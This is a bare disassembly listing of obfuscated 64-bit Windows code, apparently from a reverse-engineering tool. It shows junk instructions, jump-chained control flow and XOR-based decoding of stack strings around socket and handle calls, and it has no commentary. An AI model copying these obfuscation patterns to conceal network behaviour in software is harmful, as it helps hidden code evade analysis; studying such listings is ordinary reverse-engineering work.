jmp 0x14008c3d2
sub qword [rbp + 0x28], 0x14f2664a
sub qword [rbp + 0x28], 0x6201475
sub qword [rbp + 0x28], 0x3afc2c72
mov byte [rbp + 0x10], 0x58
add byte [rbp + 0x10], 0xb
jmp 0x14008c85c
mov dword [rsp - 0x18], ecx
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
mov dword [rsp - 0x3c], ebp
sub al, cl
jmp 0x14008c05f
add eax, 0x97a9e1
add eax, 0x14362c49
xor eax, 0x51066116
movd xmm5, eax
movdqa xmm2, xmmword [0x14010c2c0]
jmp 0x14008c684
mov r12, qword [rsp]
add rsp, 8
nop
add rsp, 8
mov rbp, qword [rsp - 8]
jmp 0x14008c2c4
call fcn.14008f490
mov dword [rsp - 0x18], 0xe8b5bbf
cmp rax, 0xffffffffffffffff
jne 0x14008c997
movsd xmm0, qword [str.AEW_YDL]
jmp 0x14008c468
mov rbp, rbp
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222]
jmp 0x14008beb3
mov rbx, rbx
call fcn.14008f490
cmp rax, 0xffffffffffffffff
jne 0x14008c997
mov dword [rsp - 0x10], 0x272ba547
movsd xmm0, qword [0x1401102a0]
jmp 0x14008c7dd
ret
add al, 0xce
neg al
xor byte [r9], al
mov dword [rsp - 0x44], esi
inc r8d
jmp 0x14008c4fb
pmulld xmm0, xmmword [0x14010e180]
psubd xmm2, xmm0
mov dword [rsp - 0x38], 0x4fdac653
jmp 0x14008c36c
xchg rdx, r8
nop dword [rax + rax]
inc r8
mov r11, r11
cmp byte [rax + r8], 0
jmp 0x14008c195
mov r9, r9
xor byte [rsp + 0x2f], 0x39
xor byte [rsp + 0x30], 0x3a
xor byte [rsp + 0x31], 0x3b
xchg rdi, rdx
mov qword [rbp - 0x30], rdx
jmp 0x14008bd4a
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
mov dword [rsp - 0x1c], 0x27ae87fc
packuswb xmm2, xmm2
jmp 0x14008c601
sub byte [rsp + 0x38], 0x41
add byte [rsp + 0x38], 0x43
xor byte [rsp + 0x38], 0x37
jmp 0x14008bf30
lea rcx, [rbp + 0x180]
mov dword [rsp - 0x28], ebx
call fcn.14008f490
jmp 0x14008bf51
je 0x14008c360
mov byte [rsp + 0x28], WSAGetLastError
sub byte [rsp + 0x28], 0x46
jmp 0x14008c4cb
mov rsi, rax
xchg rbx, rsi
xchg rsp, rax
mov qword [rbp + 0x160], rsp
xchg rsp, rax
jmp 0x14008c1b3
mov rdx, rdx
pmulld xmm0, xmmword [0x14010e180]
psubd xmm3, xmm0
jmp 0x14008c6fd
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
mov r13, r13
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
mov rdx, rdx
jmp 0x14008c0a3
jl 0x14008babd
xor r8d, r8d
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x180]
jmp 0x14008c29d
mov r8d, edi
cmp ebx, 2
mov r15, r15
jmp 0x14008bff3
mov dword [rsp - 0x28], esp
movsd qword [rsp + 0x58], xmm0
mov eax, dword [0x1401102b8]
jmp 0x14008c4df
xor byte [rbp - 0x30], 0x3b
sub byte [rbp - 0x30], 0x39
xor byte [rbp - 0x30], 0x1f
jmp 0x14008c182
xor byte [rsp + 0x40], 0x3a
mov r10, r10
xor byte [rsp + 0x41], 0x3b
xor al, 0x3c
jmp 0x14008c66a
xor byte [rsp + 0x28], 0x1e
add byte [rsp + 0x28], 0x35
xor byte [rsp + 0x28], 0x58
jmp 0x14008bbf5
mov dword [rsp + 0x60], eax
cmp byte [0x1401102bb], 0
xchg rbp, rbp
je 0x14008c50c
mov r8d, edi
jmp 0x14008bd39
lea r9, [r9 + 1]
cmp r8d, 0xc
xchg r10, r10
jl 0x14008bf7e
xor r8d, r8d
lea rdx, [rsp + 0x58]
jmp 0x14008c3a8
sub ecx, 0x27dbe098
xor ecx, 0x6c6ccbb6
xor ecx, 0x11f0086e
xor ecx, 0x2fa214be
sub ecx, 0x6c0abeb9
jmp 0x14008c1da
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
mov rcx, rcx
neg al
jmp 0x14008c2c5
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov dword [rsp - 0xc], 0x351aa6ae
xchg r11, rsi
movaps xmm8, xmmword [rsi - 0x30]
xchg r11, rsi
mov rsp, r11
jmp 0x14008c119
xchg rbx, rbx
xor r8d, r8d
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x180]
jmp 0x14008c25f
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14008bd7a
jmp 0x14008c577
mov r14, r14
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
mov dword [rsp - 0x10], ecx
paddd xmm0, xmm1
jmp 0x14008c2d8
add r8d, 0x4665c507
sub r8d, 0x51870b91
xor r8d, 0x78f1dbc6
sub r8d, 0x78924a6b
mov eax, r8d
jmp 0x14008bf6c
sub eax, 0x193556b2
sub eax, 0x4d699197
add eax, 0x7581a19d
xor eax, 0x7e8adbf2
movd xmm5, eax
jmp 0x14008baf8
mov eax, dword [str.2222222222222222]
movd xmm0, eax
paddb xmm2, xmm0
jmp 0x14008c64b
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
mov dword [rsp - 0x38], ebx
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
jmp 0x14008c013
imul r8d
mov dword [rsp - 0x40], ebp
sar edx, 1
sar edx, 1
sar edx, 2
mov eax, edx
jmp 0x14008bf88
mov dword [rsp - 0x2c], 0x1375707a
movd xmm1, dword [str.AEW_YDL]
pxor xmm2, xmm1
movd dword [rsp + 0x58], xmm2
jmp 0x14008bce9
mov byte [rsp + 0x42], al
xchg rdi, rbx
mov qword [rbp + 0x10], rbx
xchg rdi, rbx
xchg rdi, rsi
mov qword [rbp + 0x20], rsi
jmp 0x14008bbbd
mov rsp, rsp
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
jmp 0x14008c6b2
mov dword [rsp - 0x10], 0x7ca47181
call fcn.1400dc920
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x30]
jmp 0x14008bf9f
pmuldq xmm1, xmm4
mov dword [rsp - 0xc], 0x8c62311
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
mov r8, r8
shufps xmm1, xmm0, 0xdd
jmp 0x14008bded
sub qword [rbp - 0x18], 0x5d0bfb94
mov byte [rbp - 0x30], socket
xor byte [rbp - 0x30], 0x7a
sub byte [rbp - 0x30], 0x2d
add byte [rbp - 0x30], 0x28
sub byte [rbp - 0x30], 0xf
add byte [rbp - 0x30], 0xb
jmp 0x14008c47d
pshuflw xmm0, xmm3, 0xd8
xchg r10, r10
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
jmp 0x14008c832
lea rdx, [rbp + 0x30]
mov rcx, qword [rsp + 0x78]
jmp 0x14008bb3b
psubd xmm2, xmm0
mov rdx, rdx
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
jmp 0x14008c283
lea rax, [rsp + 0x38]
xchg r12, r14
mov r8, r14
xchg r14, r12
nop
inc r8
cmp byte [rax + r8], 0
jmp 0x14008c882
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x160], xmm0
xchg r10, rdi
mov qword [rbp + 0x170], r10
xchg r10, rdi
mov ecx, 0x66104917
jmp 0x14008c519
xchg rsp, r14
movsd qword [r14 + 0x28], xmm0
xchg rsp, r14
movzx eax, word [0x1401102c8]
mov word [rsp + 0x30], ax
cmp byte [0x1401102c9], 0
mov dword [rsp - 0x40], 0x307e6a18
jmp 0x14008c3bd
sub r8d, 0xb6f73
sub r8d, 0x7ad58d1
sub r8d, 0x2983a56a
xor r8d, 0x53f84551
xor r8d, 0x6b636ea1
mov eax, r8d
jmp 0x14008c8dc
xchg rsp, r14
movsd qword [r14 + 0x68], xmm0
xchg rsp, r14
mov eax, dword [0x1401102a8]
mov dword [rsp + 0x70], eax
jmp 0x14008c0f4
sub eax, 0xc3b60f0
add eax, 0x5da9a595
xor eax, 0x2205649c
mul r8d
mov dword [rsp - 0x18], 0xd0c1ed2
jmp 0x14008c84c
add al, 0xb
xor byte [r9], al
mov r15, r15
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
mov r9, r9
jmp 0x14008c441
mov rcx, rcx
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
jmp 0x14008c92d
shr edx, 3
shr edx, 1
movsx eax, dl
imul ecx, eax, 0x34
jmp 0x14008bf1f
sub byte [rbp + 0x10], 0x15
xor byte [rbp + 0x10], 0x5b
add byte [rbp + 0x10], 0x24
xor byte [rbp + 0x10], 0x39
jmp 0x14008c747
add byte [rbp - 0x10], 0x51
sub byte [rbp - 0x10], 0x59
sub byte [rbp - 0x10], 0xc
jmp 0x14008c038
xchg r9, r9
jne 0x14008c757
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x10]
call fcn.140018350
xchg rsi, rsi
nop
jmp 0x14008c764
shr eax, 1
shr eax, 1
shr eax, 1
add edx, eax
mov r10, r10
jmp 0x14008c53c
sub eax, 0x68b5f08
xor eax, 0x33e3cb3e
xor eax, 0x217c37b5
sub eax, 0x6cd7ba1
jmp 0x14008c228
lea r9, [rsp + 0x68]
mov dword [rsp - 0x30], 0x6c3ead64
add r9, rax
nop
jmp 0x14008bd7a
movsd xmm0, qword [str.VDYTF]
mov dword [rsp - 0x2c], ebp
xchg rsp, rdi
movsd qword [rdi + 0x38], xmm0
xchg rsp, rdi
movzx eax, word [0x1401102e8]
mov r15, r15
jmp 0x14008bcd3
xchg r14, r14
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov r8d, 0x64f79048
add r8d, 0x4e0095e
jmp 0x14008c7b2
cmp r15, 0x10
mov dword [rsp - 0x40], edx
jb 0x14008c71e
lea rdx, [r15 + 1]
xchg r8, rax
jmp 0x14008c9b0
mov r8, rsi
xchg r8, rax
cmp rdx, 0x1000
xchg r9, r9
jb 0x14008c9ca
jmp 0x14008c9dd
xchg rcx, rsi
mov rsi, rcx
xchg rcx, rsi
call fcn.1400dc808
jmp 0x14008c71e
neg rdx
add rdx, 0xffffffffffffffd9
neg rdx
mov rsi, qword [rsi - 8]
mov dword [rsp - 0x2c], ebp
sub rax, rsi
jmp 0x14008c9f7
nop
add rax, 0xffffffffd40a21d9
sub rax, 0xffffffffd40a21e1
cmp rax, 0x1f
ja 0x14008cb56
xchg rdi, rdi
jmp 0x14008c9ca
xchg rsp, r13
mov rcx, rsp
xchg rsp, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14008c71e
call fcn.1400e34bc
mov dword [rsp - 0x44], 0xff24354
int3
call fcn.1400e34bc
int3